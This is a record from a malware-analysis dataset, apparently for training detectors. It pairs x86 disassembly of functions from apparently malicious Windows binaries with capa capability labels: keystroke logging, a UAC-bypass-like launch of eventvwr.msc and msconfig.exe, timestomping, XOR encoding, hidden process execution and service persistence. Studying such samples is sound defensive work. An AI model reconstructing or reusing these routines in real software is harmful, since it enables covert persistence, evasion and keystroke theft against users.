joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10001e21
Capabilities:
Schedule task via itaskservice

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push ebx
push esi
mov esi, dword [sym.imp.OLEAUT32.dll_SysReAllocString]
xor ebx, ebx
push edi
push str.MicrosoftWindowsWDI
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0xc], ebx
call esi
mov dword [ebp - 8], eax
test eax, eax
je 0x10001f38
push str.ResolutionHost
call esi
mov dword [ebp - 4], eax
test eax, eax
je 0x10001f23
lea eax, [ebp - 0x10]
push eax
push 0x10003110
push 1
push ebx
push 0x10003120
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x10001f1e
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
sub esp, 0x10
mov eax, dword [ebp - 0x10]
mov edi, esp
lea esi, [ebp - 0x28]
sub esp, 0x10
mov ecx, dword [eax]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov edi, esp
lea esi, [ebp - 0x28]
sub esp, 0x10
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov edi, esp
lea esi, [ebp - 0x28]
sub esp, 0x10
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov edi, esp
lea esi, [ebp - 0x28]
push eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call dword [ecx + 0x28]
mov edi, dword [ebp - 8]
test eax, eax
js 0x10001f19
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 0x14]
push edx
push edi
push eax
mov ecx, dword [eax]
call dword [ecx + 0x1c]
mov esi, dword [ebp - 4]
test eax, eax
js 0x10001f28
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0xc]
push edx
push esi
push eax
mov ecx, dword [eax]
call dword [ecx + 0x34]
test eax, eax
js 0x10001f28
mov eax, dword [ebp - 0xc]
lea edx, [ebp - 0x18]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x24]
test eax, eax
js 0x10001f28
cmp dword [ebp - 0x18], 4
jne 0x10001f10
mov eax, dword [ebp - 0xc]
push ebx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x5c]
mov ebx, eax
not ebx
shr ebx, 0x1f
jmp 0x10001f28
mov esi, dword [ebp - 4]
jmp 0x10001f28
mov esi, dword [ebp - 4]
jmp 0x10001f25
mov esi, eax
mov edi, dword [ebp - 8]
push edi
mov edi, dword [sym.imp.OLEAUT32.dll_SysStringLen]
call edi
test esi, esi
je 0x10001f38
push esi
call edi
mov ecx, dword [ebp - 0xc]
test ecx, ecx
je 0x10001f45
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov ecx, dword [ebp - 0x14]
test ecx, ecx
je 0x10001f52
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov edx, dword [ebp - 0x10]
test edx, edx
je 0x10001f5f
mov ecx, dword [edx]
push edx
call dword [ecx + 8]
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret
Function at 0x10002057
Capabilities:
Accept command line arguments
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push ebx
xor ebx, ebx
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov edx, eax
mov ecx, 0x20a
lea eax, [ebp - 0x210]
mov byte [eax], bl
inc eax
sub ecx, 1
jne 0x10002079
lea eax, [ebp - 4]
push eax
push ecx
lea eax, [ebp - 0x210]
mov ecx, edx
push eax
call section..text
add esp, 0xc
cmp dword [ebp - 4], ebx
je 0x100020cf
cmp word [ebp - 0x210], 0x31
jne 0x100020ad
call fcn.10001f66
jmp 0x100020cd
cmp word [ebp - 0x210], 0x32
jne 0x100020be
call fcn.10002010
jmp 0x100020cd
cmp word [ebp - 0x210], 0x33
jne 0x100020cf
call fcn.1000204a
mov ebx, eax
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x10002495
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
push edi
push 1
push str.en_US
mov esi, ecx
call dword [sym.imp.USER32.dll_LoadKeyboardLayoutW]
mov ecx, esi
mov ebx, eax
xor edi, edi
call fcn.10001b3b
test eax, eax
je 0x100024e1
movzx eax, word [esi + edi*2]
push ebx
push eax
call dword [sym.imp.USER32.dll_VkKeyScanExW]
movzx eax, ax
mov edx, eax
movzx ecx, al
shr edx, 8
and edx, 1
call fcn.10002417
mov ecx, esi
inc edi
call fcn.10001b3b
cmp edi, eax
jb 0x100024b6
pop edi
pop esi
pop ebx
ret

Function at 0x10002644
Capabilities:
Create process on windows
Enumerate gui resources
Get windows directory from kuser_shared_data
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x46c
mov edx, 0x7ffe0030
push ebx
push esi
mov esi, ecx
lea ecx, [ebp - 0x46c]
call fcn.10001b0a
mov edx, str._system32_
call fcn.10001a58
mov edx, str.msconfig.exe
lea ecx, [ebp - 0x46c]
call fcn.10001a58
push 0x3c
pop edx
mov ecx, edx
lea eax, [ebp - 0x44]
xor ebx, ebx
mov byte [eax], bl
inc eax
sub ecx, 1
jne 0x10002685
lea eax, [ebp - 0x46c]
mov dword [ebp - 0x44], edx
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x44]
push eax
mov dword [ebp - 0x40], 0x40
mov dword [ebp - 0x30], 0x100032bc
mov dword [ebp - 0x28], 5
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
je 0x1000272d
push 0x18
pop ecx
lea eax, [ebp - 0x5c]
mov byte [eax], bl
inc eax
sub ecx, 1
jne 0x100026c2
push ebx
push 0x18
lea eax, [ebp - 0x5c]
push eax
push ebx
push dword [ebp - 0xc]
call dword [sym.imp.ntdll.dll_NtQueryInformationProcess]
test eax, eax
js 0x1000271a
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 4], eax
lea eax, [ebp - 8]
push eax
push 0x100025e6
mov dword [ebp - 8], ebx
call dword [sym.imp.USER32.dll_EnumWindows]
test eax, eax
jne 0x1000271a
cmp dword [ebp - 8], ebx
je 0x1000271a
push esi
push 0x100024e5
push dword [ebp - 8]
call dword [sym.imp.USER32.dll_EnumChildWindows]
push ebx
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
pop ebx
leave
ret
Function at 0x10002731
Capabilities:
Create process on windows
Get windows directory from kuser_shared_data
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x468
lea ecx, [ebp - 0x468]
mov edx, 0x7ffe0030
push ebx
push esi
push 5
pop esi
call fcn.10001b0a
mov edx, str._system32_
call fcn.10001a58
mov edx, str.mmc.exe
lea ecx, [ebp - 0x468]
call fcn.10001a58
push 0x3c
pop edx
mov ecx, edx
lea eax, [ebp - 0x58]
xor ebx, ebx
mov byte [eax], bl
inc eax
sub ecx, 1
jne 0x10002773
lea eax, [ebp - 0x468]
mov dword [ebp - 0x58], edx
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x58]
push eax
mov dword [ebp - 0x54], 0x40
mov dword [ebp - 0x44], str.eventvwr.msc
mov dword [ebp - 0x3c], esi
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
je 0x10002816
push ebx
push str.MMCMainFrame
call dword [sym.imp.USER32.dll_FindWindowW]
test eax, eax
jne 0x100027c8
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
sub esi, 1
jne 0x100027a6
jmp 0x10002803
push eax
call dword [sym.imp.USER32.dll_SetForegroundWindow]
xor eax, eax
mov dword [ebp - 0x10], ebx
push 0x70
mov word [ebp - 0x16], ax
xor ecx, ecx
pop eax
mov word [ebp - 0x18], ax
inc ecx
push 0x1c
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x1c], ecx
push eax
push ecx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x14], ebx
call dword [sym.imp.USER32.dll_SendInput]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push ebx
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
pop ebx
leave
ret
Function at 0x401920
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
push edi
mov edi, dword [ebp + 0xc]
push edi
mov dword [ebp - 4], 0x1e051f0e
call fcn.004063f9
push edi
mov esi, eax
push 0
push esi
call fcn.00407730
mov eax, dword [ebp + 8]
add esp, 0x10
xor ecx, ecx
test edi, edi
jle 0x40197a
push ebx
mov ebx, eax
mov edx, esi
sub ebx, esi
mov al, byte [ebx + edx]
lea edx, [edx + 1]
xor al, byte [ebp + ecx - 4]
mov byte [edx - 1], al
xor eax, eax
cmp ecx, 3
cmovne eax, ecx
lea ecx, [eax + 1]
sub edi, 1
jne 0x401956
mov edi, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
pop ebx
push edi
push esi
push eax
call fcn.004071b0
add esp, 0xc
test esi, esi
je 0x401992
push esi
call fcn.00406402
add esp, 4
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x4019a0
Capabilities:
Check for time delay via gettickcount
Create pipe
Create process on windows
Read file on windows
Read pipe

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x74
push esi
push edi
push 0x100000
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push 0x100000
mov edi, eax
push 0
push edi
mov dword [ebp - 8], edi
call fcn.00407730
add esp, 0xc
mov dword [ebp - 0x20], 0xc
lea eax, [ebp - 0x20]
mov dword [ebp - 0x18], 1
mov dword [ebp - 0x1c], 0
push 0
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
je 0x401a73
lea eax, [ebp - 0x74]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 4]
mov dword [ebp - 0x3c], eax
xor eax, eax
mov word [ebp - 0x44], ax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x74]
mov dword [ebp - 0x48], 0x101
push eax
push 0
push 0
push 0x20
push 1
lea eax, [ebp - 0x20]
push eax
push eax
push dword [ebp + 8]
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x401a73
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
push ebx
call edi
mov esi, dword [ebp + 0xc]
mov ebx, eax
nop
push 0x64
push dword [ebp - 0x30]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x401a9d
cmp esi, 0xffffffff
je 0x401a50
call edi
sub eax, ebx
cmp eax, esi
jbe 0x401a50
mov edi, dword [ebp - 8]
pop ebx
push dword [ebp - 0x2c]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x30]
call esi
push dword [ebp - 0x14]
call esi
push dword [ebp - 4]
call esi
push edi
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, dword [ebp - 0x14]
pop edi
pop esi
mov esp, ebp
pop ebp
ret
push 0x401
mov dword [ebp - 0x10], 0
xor esi, esi
call fcn.0040e5b7
push 0x400
mov ebx, eax
push esi
push ebx
call fcn.00407730
mov edi, dword [ebp - 8]
add esp, 0x10
mov byte [edi], 0
nop word [eax + eax]
push 0
lea eax, [ebp - 0xc]
mov dword [ebp - 0xc], 0
push eax
push 0
push 0
push 0
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_PeekNamedPipe]
test eax, eax
je 0x401b68
cmp dword [ebp - 0xc], 0
je 0x401b68
push 0x400
push 0
push ebx
call fcn.00407730
add esp, 0xc
lea eax, [ebp - 0x10]
push 0
push eax
push 0x400
push ebx
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov edx, dword [ebp - 0x10]
add esi, edx
mov dword [ebp - 0xc], esi
cmp esi, 0x100000
ja 0x401b68
mov eax, ebx
mov esi, ebx
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401b30
sub eax, esi
dec edi
nop word [eax + eax]
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x401b40
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [ebp - 0xc]
mov edi, dword [ebp - 8]
cmp edx, 0x400
jae 0x401ad0
push ebx
call fcn.0040e59c
add esp, 4
jmp 0x401a72
Function at 0x402700
Capabilities:
Timestomp file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x138
mov eax, dword [0x4251c0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
push 0x2000000
push 3
push 0
push 3
push 0xc0000000
push eax
call edi
mov esi, eax
cmp esi, 0xffffffff
jne 0x40274c
pop edi
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004063ad
mov esp, ebp
pop ebp
ret
push 0x104
lea eax, [ebp - 0x108]
push 0
push eax
call fcn.00407730
push dword [0x4250ac]
lea eax, [ebp - 0x108]
push 0x425df0
push 0x41c874
push 0x104
push eax
call fcn.00402d90
add esp, 0x20
lea eax, [ebp - 0x108]
push 0
push 0x2000000
push 3
push 0
push 1
push SysReAllocString
push eax
call edi
cmp eax, 0xffffffff
je 0x40284b
lea ecx, [ebp - 0x120]
push ecx
lea ecx, [ebp - 0x130]
push ecx
lea ecx, [ebp - 0x138]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileTime]
test eax, eax
je 0x40284b
lea eax, [ebp - 0x120]
push eax
push eax
call dword [sym.imp.KERNEL32.dll_FileTimeToLocalFileTime]
lea eax, [ebp - 0x118]
push eax
lea eax, [ebp - 0x120]
push eax
call dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
call fcn.0040e5c2
cdq
mov edi, 0xa
idiv edi
add word [ebp - 0x10e], dx
call fcn.0040e5c2
cdq
idiv edi
lea eax, [ebp - 0x120]
add word [ebp - 0x10c], dx
push eax
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
lea eax, [ebp - 0x120]
push eax
push eax
call dword [sym.imp.KERNEL32.dll_LocalFileTimeToFileTime]
lea eax, [ebp - 0x120]
push eax
lea eax, [ebp - 0x130]
push eax
lea eax, [ebp - 0x138]
jmp 0x4028e4
mov eax, 0x7d9
mov word [ebp - 0x118], ax
call fcn.0040e5c2
cdq
mov edi, 0xa
idiv edi
xor eax, eax
mov word [ebp - 0x116], dx
mov word [ebp - 0x114], ax
call fcn.0040e5c2
cdq
idiv edi
mov word [ebp - 0x112], dx
call fcn.0040e5c2
cdq
idiv edi
mov word [ebp - 0x110], dx
call fcn.0040e5c2
cdq
idiv edi
mov word [ebp - 0x10e], dx
call fcn.0040e5c2
cdq
idiv edi
xor eax, eax
mov word [ebp - 0x10a], ax
lea eax, [ebp - 0x128]
push eax
lea eax, [ebp - 0x118]
mov word [ebp - 0x10c], dx
push eax
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
lea eax, [ebp - 0x128]
push eax
push eax
call dword [sym.imp.KERNEL32.dll_LocalFileTimeToFileTime]
lea eax, [ebp - 0x128]
push eax
push 0
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
xor ecx, ebp
pop esi
call fcn.004063ad
mov esp, ebp
pop ebp
ret
Function at 0x402910
Capabilities:
Delete file
Extract resource via kernel32 functions
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
mov eax, dword [0x4251c0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
push 0xa
mov dword [ebp - 0x210], eax
mov eax, dword [ebp + 0xc]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
test esi, esi
je 0x402aa7
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x402aa7
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
test ebx, ebx
je 0x402aa7
push esi
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov edi, eax
test edi, edi
je 0x402aa7
push 0x104
lea eax, [ebp - 0x20c]
push 0
push eax
call fcn.00407730
push dword [ebp - 0x210]
lea eax, [ebp - 0x20c]
push 0x425ef8
push 0x41c898
push 0x104
push eax
call fcn.00402d90
push 0x104
lea eax, [ebp - 0x108]
push 0
push eax
call fcn.00407730
add esp, 0x2c
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
push 0x425ef8
push str._s_u
lea eax, [ebp - 0x108]
push 0x104
push eax
call fcn.00402d90
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [ebp - 0x108]
add esp, 0x14
push eax
call esi
lea eax, [ebp - 0x108]
push eax
lea eax, [ebp - 0x20c]
push eax
call fcn.0040e9ae
add esp, 8
lea eax, [ebp - 0x108]
push eax
call esi
push 0
push 0x80
push 2
push 0
push 0
push 0xc0000000
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
push edi
push 0
push 4
push 0
push eax
mov dword [ebp - 0x214], eax
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov dword [ebp - 0x210], eax
test eax, eax
je 0x402aa7
push 0
push 0
push 0
push 2
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
push edi
mov esi, eax
push ebx
push esi
call fcn.004071b0
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push dword [ebp - 0x210]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x214]
call esi
pop edi
pop esi
mov eax, 1
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004063ad
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004063ad
mov esp, ebp
pop ebp
ret
Function at 0x402ac0
Capabilities:
Check for time delay via gettickcount
Query service status
Start service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov eax, dword [0x4251c0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 0xf003f
push edi
push edi
mov dword [ebp - 0x30], eax
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov ebx, eax
mov dword [ebp - 0x34], ebx
test ebx, ebx
je 0x402b0e
push 0x14
push esi
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
test esi, esi
jne 0x402b21
push ebx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004063ad
mov esp, ebp
pop ebp
ret
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
jne 0x402b4f
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push ebx
call esi
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004063ad
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x2c]
push eax
push 0x24
lea eax, [ebp - 0x28]
push eax
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
je 0x402bbb
cmp dword [ebp - 0x24], 4
je 0x402bbb
mov ebx, dword [ebp + 0xc]
nop
push 0
push 0x14d
call dword [sym.imp.KERNEL32.dll_SleepEx]
lea eax, [ebp - 0x2c]
push eax
push 0x24
lea eax, [ebp - 0x28]
push eax
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
je 0x402bb8
mov eax, dword [ebp - 0x24]
mov edi, eax
cmp edi, 4
je 0x402bb8
cmp ebx, 0xffffffff
je 0x402bb3
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [ebp - 0x30]
cmp eax, ebx
ja 0x402bb8
mov eax, dword [ebp - 0x24]
cmp eax, 4
jne 0x402b70
mov ebx, dword [ebp - 0x34]
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push ebx
call esi
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004063ad
mov esp, ebp
pop ebp
ret
Function at 0x402be0
Capabilities:
Check for time delay via gettickcount
Delete service
Query service status
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov eax, dword [0x4251c0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 0xf003f
push edi
push edi
mov dword [ebp - 0x30], eax
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov ebx, eax
mov dword [ebp - 0x34], ebx
test ebx, ebx
je 0x402c31
push 0xf01ff
push esi
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
test esi, esi
jne 0x402c44
push ebx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004063ad
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x2c]
push eax
push 0x24
lea eax, [ebp - 0x28]
push eax
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
je 0x402ccb
cmp dword [ebp - 0x24], 1
je 0x402ccb
lea eax, [ebp - 0x28]
push eax
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
je 0x402ccb
cmp dword [ebp - 0x24], 1
je 0x402ccb
mov ebx, dword [ebp + 0xc]
nop dword [eax + eax]
push 0
push 0x3e7
call dword [sym.imp.KERNEL32.dll_SleepEx]
lea eax, [ebp - 0x2c]
push eax
push 0x24
lea eax, [ebp - 0x28]
push eax
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
je 0x402cc8
mov eax, dword [ebp - 0x24]
mov edi, eax
cmp edi, 1
je 0x402cc8
cmp ebx, 0xffffffff
je 0x402cc3
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [ebp - 0x30]
cmp eax, ebx
ja 0x402cc8
mov eax, dword [ebp - 0x24]
cmp eax, 1
jne 0x402c80
mov ebx, dword [ebp - 0x34]
cmp byte [ebp + 0x10], 1
jne 0x402cd8
push esi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push ebx
call esi
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004063ad
mov esp, ebp
pop ebp
ret

Function at 0x402d00
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
call fcn.00404630
lea esi, [eax - 1]
neg esi
lea eax, [ebp - 4]
push eax
sbb esi, esi
and esi, 0x100
add esi, 0xf013f
push esi
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x402d5c
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
push 0
push esi
push 0
push 0x41cb28
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov esi, eax
test esi, esi
jne 0x402d7c
push 4
push dword [ebp + 0x14]
push 4
push 0
push dword [ebp + 0x10]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x402e90
Capabilities:
Copy file
Delete file
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x310
mov eax, dword [0x4251c0]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 0xc]
lea eax, [ebp - 0x20c]
push edi
mov edi, dword [ebp + 8]
push 0x104
push 0
push eax
call fcn.00407730
push esi
push 0x425ef8
push 0x41c87c
lea eax, [ebp - 0x20c]
push 0x104
push eax
call fcn.00402d90
push 0x104
lea eax, [ebp - 0x108]
push 0
push eax
call fcn.00407730
push esi
push edi
push 0x41c884
lea eax, [ebp - 0x108]
push 0x104
push eax
call fcn.00402d90
add esp, 0x40
lea eax, [ebp - 0x310]
push 0x104
push 0
push eax
call fcn.00407730
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
push edi
push str._s_d.tmp
lea eax, [ebp - 0x310]
push 0x104
push eax
call fcn.00402d90
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [ebp - 0x310]
add esp, 0x14
push eax
call esi
lea eax, [ebp - 0x310]
push eax
lea eax, [ebp - 0x108]
push eax
call fcn.0040e9ae
add esp, 8
lea eax, [ebp - 0x310]
push eax
call esi
push 0
lea eax, [ebp - 0x108]
push eax
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
cmp eax, 1
je 0x402fca
mov esi, dword [sym.imp.KERNEL32.dll_MoveFileExA]
lea eax, [ebp - 0x108]
push 3
push eax
lea eax, [ebp - 0x20c]
push eax
call esi
test eax, eax
jne 0x402fd3
push 4
lea eax, [ebp - 0x108]
push eax
lea eax, [ebp - 0x20c]
push eax
call esi
test eax, eax
jne 0x402fd3
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004063ad
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x20c]
push eax
call esi
lea eax, [ebp - 0x108]
push eax
call fcn.00402700
mov ecx, dword [ebp - 4]
add esp, 4
xor ecx, ebp
mov eax, 1
pop edi
pop esi
call fcn.004063ad
mov esp, ebp
pop ebp
ret
Function at 0x404020
Capabilities:
Create service
Modify service
Persist via windows service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
mov eax, dword [0x4251c0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, dword [ebp + 0xc]
push esi
mov esi, dword [ebp + 8]
push edi
push 2
push 0
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0x14]
push 0
mov dword [ebp - 0x24], eax
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
test edi, edi
je 0x404085
push 0
push 0
push 0
push 0
push 0
push dword [ebp - 0x20]
push 0
push 2
push 0x110
push 0x42
push ebx
push esi
push edi
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov ebx, eax
test ebx, ebx
jne 0x404098
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004063ad
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x24]
mov esi, dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
push 1
push ebx
call esi
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x18], 0xea60
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x3c]
push eax
push 2
push ebx
mov dword [ebp - 0x1c], 1
mov dword [ebp - 0x10], 0xea60
mov dword [ebp - 0x14], 1
mov dword [ebp - 8], 0xea60
mov dword [ebp - 0xc], 1
mov dword [ebp - 0x3c], 0x258
mov dword [ebp - 0x38], 0x41cc88
mov dword [ebp - 0x34], 0x41cc89
mov dword [ebp - 0x30], 3
call esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push ebx
call esi
push edi
call esi
mov ecx, dword [ebp - 4]
mov eax, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004063ad
mov esp, ebp
pop ebp
ret